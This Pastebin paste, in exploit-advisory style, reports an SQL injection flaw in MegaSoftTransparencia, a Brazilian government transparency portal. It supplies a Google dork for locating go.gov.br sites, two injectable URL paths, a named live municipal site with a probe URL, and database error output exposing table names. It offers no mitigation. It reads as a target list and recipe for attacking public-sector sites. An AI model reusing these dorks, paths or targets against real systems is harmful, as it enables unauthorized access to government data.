KingSkrupellos

MegaSoftTransparencia Brazil SQL Injection

Apr 24th, 2019
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.52 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : MegaSoftTransparencia Brazil SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 25/04/2019
  7. # Vendor Homepage : megasofttransparencia.com.br
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Google Dorks : Desenvolvido por Megasoft Informática LTDA. site:go.gov.br
  12. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  13. Special Elements used in an SQL Command ('SQL Injection') ]
  14. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  15. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  16. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  17.  
  18. ###################################################################
  19.  
  20. # Impact :
  21. ***********
  22. MegaSoftTransparencia Brazil is prone to an SQL-injection vulnerability because
  23.  
  24. it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  25.  
  26. Exploiting this issue could allow an attacker to compromise the application, access or
  27.  
  28. modify data, or exploit latent vulnerabilities in the underlying database.
  29.  
  30. A remote attacker can send a specially crafted request to the vulnerable application and
  31.  
  32. execute arbitrary SQL commands in application`s database. Further exploitation of this
  33.  
  34. vulnerability may result in unauthorized data manipulation.
  35.  
  36. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  37.  
  38. ###################################################################
  39.  
  40. # SQL Injection Exploit :
  41. **********************
  42. /home/1.php?p=galeria_ver&id=[SQL Injection]
  43.  
  44. /home/index.php?p=conteudo&id=[SQL Injection]
  45.  
  46. ###################################################################
  47.  
  48. # Example Vulnerable Sites :
  49. *************************
  50. [+] porteirao.go.gov.br/home/1.php?p=galeria_ver&id=74%27
  51.  
  52. ###################################################################
  53.  
  54. # Example SQL Database Error :
  55. ****************************
  56. # 1064 - You have an error in your SQL syntax; check the manual that corresponds
  57.  
  58. to your MySQL server version for the right syntax to use near '' at line 1
  59.  
  60. SELECT id_foto FROM tbgalerias_fotos WHERE flag_status=1 AND id_galeria=
  61.  
  62. SELECT * FROM tbconteudo WHERE id_conteudo=17\'
  63.  
  64. ###################################################################
  65.  
  66. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  67.  
  68. ###################################################################
Add Comment
Please, Sign In to add comment